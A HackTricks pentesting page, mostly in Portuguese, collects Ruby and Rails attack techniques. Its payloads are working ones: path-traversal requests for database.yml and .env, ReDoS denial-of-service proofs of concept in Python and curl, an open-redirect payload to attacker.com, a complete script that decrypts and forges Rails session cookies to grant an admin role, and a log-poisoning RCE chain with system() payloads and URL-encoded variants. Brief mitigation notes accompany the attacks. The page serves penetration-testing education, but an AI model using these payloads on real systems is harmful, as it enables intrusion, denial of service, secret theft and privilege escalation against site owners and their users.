Truques Ruby

Tip

Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprenda e pratique Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporte o HackTricks

File upload to RCE

Como explicado em this article, fazer upload de um arquivo .rb em diretórios sensíveis como config/initializers/ pode levar à execução remota de código (RCE) em aplicações Ruby on Rails.

Tips:

  • Outras localizações de boot/eager-load que são executadas na inicialização da app também são arriscadas quando são graváveis (por exemplo, config/initializers/ é a clássica). Se encontrar um upload de arquivo arbitrário que caia em qualquer lugar sob config/ e depois seja avaliado/required, você pode obter RCE no boot.
  • Procure por builds dev/staging que copiem arquivos controlados pelo usuário para a imagem do container onde o Rails irá carregá-los na inicialização.

Active Storage image transformation → command execution (CVE-2025-24293)

Quando uma aplicação usa Active Storage com image_processing + mini_magick, e passa parâmetros não confiáveis para métodos de transformação de imagem, versões do Rails anteriores a 7.1.5.2 / 7.2.2.2 / 8.0.2.1 podem permitir injeção de comandos porque alguns métodos de transformação foram permitidos por engano por padrão.

  • A pattern vulnerável parece com:
<%= image_tag blob.variant(params[:t] => params[:v]) %>

onde params[:t] e/ou params[:v] são controlados pelo atacante.

  • O que testar durante a avaliação

  • Identifique endpoints que aceitam opções de variant/processing, nomes de transformação ou argumentos arbitrários do ImageMagick.

  • Fuzz params[:t] e params[:v] procurando por erros suspeitos ou efeitos colaterais de execução. Se conseguir influenciar o nome do método ou passar argumentos brutos que alcancem o MiniMagick, pode obter execução de código no host que processa imagens.

  • Se você tiver apenas acesso de leitura aos variants gerados, tente exfiltração cega via operações ImageMagick criadas especificamente.

  • Remediação/detecções

  • Se vir Rails < 7.1.5.2 / 7.2.2.2 / 8.0.2.1 com Active Storage + image_processing + mini_magick e transformações controladas pelo usuário, considere explorável. Recomende atualizar e aplicar listas de permissão estritas para métodos/params e uma política do ImageMagick endurecida.

Rack::Static LFI / path traversal (CVE-2025-27610)

Se o stack alvo usa middleware Rack diretamente ou via frameworks, versões de rack anteriores a 2.2.13, 3.0.14 e 3.1.12 permitem Local File Inclusion via Rack::Static quando :root está unset/misconfigured. Travessia codificada em PATH_INFO pode expor arquivos sob o diretório de trabalho do processo ou uma root inesperada.

  • Procure por apps que montem Rack::Static em config.ru ou stacks de middleware. Teste travessias codificadas contra paths estáticos, por exemplo:
GET /assets/%2e%2e/%2e%2e/config/database.yml
GET /favicon.ico/..%2f..%2f.env

Ajuste o prefixo para coincidir com os urls: configurados. Se a aplicação responder com o conteúdo do arquivo, provavelmente você tem LFI para qualquer coisa sob o :root resolvido.

  • Mitigação: atualize o Rack; garanta que :root aponte somente para um diretório de arquivos públicos e esteja explicitamente configurado.

Rack multipart parser ReDoS / request smuggling (CVE-2024-25126)

Rack < 3.0.9.1 e < 2.2.8.1 gastava tempo super-linear ao parsear headers Content-Type: multipart/form-data crafted. Um único POST com uma lista gigante de parâmetros A= pode travar um worker Puma/Unicorn e causar DoS ou starvation da fila de requests.

  • Quick PoC (will hang one worker):
python - <<'PY'
import requests
h = {'Content-Type': 'multipart/form-data; ' + 'A='*5000}
requests.post('http://target/', data='x', headers=h)
PY
  • Funciona contra qualquer stack baseado em Rack (Rails/Sinatra/Hanami/Grape). Se estiver na frente de nginx/haproxy com keep-alive, repita em paralelo para esgotar workers.
  • Corrigido ao tornar o parser linear; procure por versão do gem rack < 3.0.9.1 ou < 2.2.8.1. Em avaliações, destaque que WAFs raramente bloqueiam isso porque o header é sintaticamente válido.

REXML XML parser ReDoS (CVE-2024-49761)

O gem REXML < 3.3.9 (Ruby 3.1 e anteriores) faz backtracking catastrófico ao parsear referências numéricas de caracteres hex contendo longas sequências de dígitos (por exemplo, &#1111111111111x41;). Qualquer XML processado por REXML ou bibliotecas que o envolvam (SOAP/XML API clients, SAML, uploads SVG) pode ser abusado para exaustão de CPU.

Minimal trigger against a Rails endpoint that parses XML:

curl -X POST http://target/xml -H 'Content-Type: application/xml' \
--data '<?xml version="1.0"?><r>&#11111111111111111111111111x41;</r>'

Se o processo fica ocupado por segundos e a CPU do worker dispara, é provável que esteja vulnerável. O ataque é de baixa largura de banda e também afeta background jobs que ingerem XML.

Apps using the cgi gem (default in many Rack stacks) can be frozen with a single malicious header:

  • CGI::Cookie.parse era super-linear; strings de cookie enormes (milhares de delimitadores) disparam comportamento O(N²).
  • O regex de CGI::Util#escapeElement permitia ReDoS no escaping de HTML.

Both issues are fixed in cgi 0.3.5.1 / 0.3.7 / 0.4.2. Para pentests, envie um cabeçalho Cookie: massivo ou alimente HTML não confiável para código auxiliar e observe o travamento do worker. Combine com keep-alive para amplificar.

The googlesign_in gem < 1.3.0 (used for Google OAuth on Rails) performed an incomplete same-origin check on the proceedto parameter. A malformed URL like proceedto=//attacker.com/%2F.. bypasses the check and redirects the user off-site while preserving Rails flash/session cookies.

Exploit flow:

  1. A vítima clica em um link do Google Sign-In forjado hospedado pelo attacker.
  2. After authentication, the gem redirects to attacker-controlled domain, leaking flash notices or any data stored in cookies scoped to the wildcard domain.
  3. If the app stores short-lived tokens or magic links in flash, this can be turned into account takeover.

During testing, grep Gemfile.lock for googlesign_in < 1.3.0 and try malformed proceedto values. Confirme via Location header e cookie reflection.

Forging/decrypting Rails cookies when secret_key_base is leaked

O Rails encrypts e signs cookies usando chaves derivadas de secret_key_base. If that value leaks (e.g., in a repo, logs, or misconfigured credentials), você geralmente pode decrypt, modify, e re-encrypt os cookies. Isso frequentemente leva a authz bypass se o app armazena roles, user IDs, ou feature flags em cookies.

Minimal Ruby to decrypt and re-encrypt modern cookies (AES-256-GCM, default in recent Rails):

Ruby to decrypt/forge cookies ```ruby require 'cgi' require 'json' require 'active_support' require 'active_support/message_encryptor' require 'active_support/key_generator'

secret_key_base = ENV.fetch(‘SECRET_KEY_BASE_LEAKED’) raw_cookie = CGI.unescape(ARGV[0])

salt = ‘authenticated encrypted cookie’ cipher = ‘aes-256-gcm’ key_len = ActiveSupport::MessageEncryptor.key_len(cipher) secret = ActiveSupport::KeyGenerator.new(secret_key_base, iterations: 1000).generate_key(salt, key_len) enc = ActiveSupport::MessageEncryptor.new(secret, cipher: cipher, serializer: JSON)

plain = enc.decrypt_and_verify(raw_cookie) puts “Decrypted: #{plain.inspect}”

Modify and re-encrypt (example: escalate role)

plain[‘role’] = ‘admin’ if plain.is_a?(Hash) forged = enc.encrypt_and_sign(plain) puts “Forged cookie: #{CGI.escape(forged)}”

</details>
Notas:
- Aplicações mais antigas podem usar AES-256-CBC e salts `encrypted cookie` / `signed encrypted cookie`, ou serializadores JSON/Marshal. Ajuste salts, cipher, e serializer conforme necessário.
- Em caso de comprometimento/avaliação, rotacione `secret_key_base` para invalidar todos os cookies existentes.

## Veja também (vulns específicas de Ruby/Rails)

- Ruby deserialization and class pollution:
<a class="content_ref" href="../../pentesting-web/deserialization/index.html"><span class="content_ref_label">Deserialization</span></a>
<a class="content_ref" href="../../pentesting-web/deserialization/ruby-class-pollution.md"><span class="content_ref_label">Ruby Class Pollution</span></a>
<a class="content_ref" href="../../pentesting-web/deserialization/ruby-_json-pollution.md"><span class="content_ref_label">Ruby Json Pollution</span></a>
- Template injection in Ruby engines (ERB/Haml/Slim, etc.):
<a class="content_ref" href="../../pentesting-web/ssti-server-side-template-injection/index.html"><span class="content_ref_label">SSTI (Server Side Template Injection)</span></a>


## Log Injection → RCE via Ruby `load` and `Pathname.cleanpath` smuggling

Quando uma aplicação (frequentemente um endpoint simples em Rack/Sinatra/Rails) faz ambas as coisas:
- registra uma string controlada pelo usuário literalmente, e
- e, posteriormente, realiza um `load` de um arquivo cujo caminho é derivado dessa mesma string (após `Pathname#cleanpath`),

Frequentemente é possível obter RCE envenenando o log e então forçando a aplicação a `load` o arquivo de log. Primitivas-chave:

- O `load` do Ruby avalia o conteúdo do arquivo alvo como Ruby independentemente da extensão do arquivo. Qualquer arquivo de texto legível cujo conteúdo possa ser interpretado como Ruby será executado.
- `Pathname#cleanpath` colapsa segmentos `.` e `..` sem acessar o sistema de arquivos, permitindo path smuggling: lixo controlado pelo atacante pode ser prefixado para logging enquanto o caminho limpo ainda resolve para o arquivo pretendido a executar (por exemplo, `../logs/error.log`).

### Padrão vulnerável mínimo
```ruby
require 'logger'
require 'pathname'

logger   = Logger.new('logs/error.log')
param    = CGI.unescape(params[:script])
path_obj = Pathname.new(param)

logger.info("Running backup script #{param}")            # Raw log of user input
load "scripts/#{path_obj.cleanpath}"                     # Executes file after cleanpath

Por que o log pode conter Ruby válido

Logger escreve linhas de prefixo como:

I, [9/2/2025 #209384]  INFO -- : Running backup script <USER_INPUT>

Em Ruby, # inicia um comentário e 9/2/2025 é apenas aritmética. Para injetar código Ruby válido você precisa:

  • Comece seu payload em uma nova linha para que não seja comentado pelo # na linha INFO; envie uma nova linha inicial (\n ou %0A).
  • Fechar o [ pendente introduzido pela linha INFO. Um truque comum é começar com ] e opcionalmente deixar o parser satisfeito com ][0]=1.
  • Em seguida, coloque Ruby arbitrário (por exemplo, system(...)).

Exemplo do que terminará no log após uma requisição com um parâmetro forjado:

I, [9/2/2025 #209384]  INFO -- : Running backup script
][0]=1;system("touch /tmp/pwned")#://../../../../logs/error.log

Contrabando de uma única string que tanto registra código quanto resolve para o caminho do log

Queremos uma única string controlada pelo atacante que:

  • quando registrada raw, contém nosso Ruby payload, e
  • quando passada por Pathname.new(<input>).cleanpath, resolve para ../logs/error.log de modo que o subsequente load execute o arquivo de log recém-envenenado.

Pathname#cleanpath ignora schemes e colapsa componentes de traversal, então o seguinte funciona:

require 'pathname'

p = Pathname.new("\n][0]=1;system(\"touch /tmp/pwned\")#://../../../../logs/error.log")
puts p.cleanpath   # => ../logs/error.log
  • O # antes de :// garante que Ruby ignore o restante quando o log for executado, enquanto cleanpath ainda reduz o sufixo para ../logs/error.log.
  • A nova linha inicial quebra a linha INFO; ] fecha o colchete pendente; ][0]=1 satisfaz o parser.

End-to-end exploitation

  1. Envie o seguinte como o nome do script de backup (codifique em URL a primeira nova linha como %0A se necessário):
\n][0]=1;system("id > /tmp/pwned")#://../../../../logs/error.log
  1. A aplicação registra sua string bruta em logs/error.log.
  2. A aplicação calcula cleanpath, que resolve para ../logs/error.log e chama load sobre ele.
  3. Ruby executa o código que você injetou no log.

Para exfiltrar um arquivo em um ambiente do tipo CTF:

\n][0]=1;f=Dir['/tmp/flag*.txt'][0];c=File.read(f);puts c#://../../../../logs/error.log

PoC codificado em URL (o primeiro caractere é uma nova linha):

%0A%5D%5B0%5D%3D1%3Bf%3DDir%5B%27%2Ftmp%2Fflag%2A.txt%27%5D%5B0%5D%3Bc%3DFile.read(f)%3Bputs%20c%23%3A%2F%2F..%2F..%2F..%2F..%2Flogs%2Ferror.log

Referências

Tip

Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprenda e pratique Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporte o HackTricks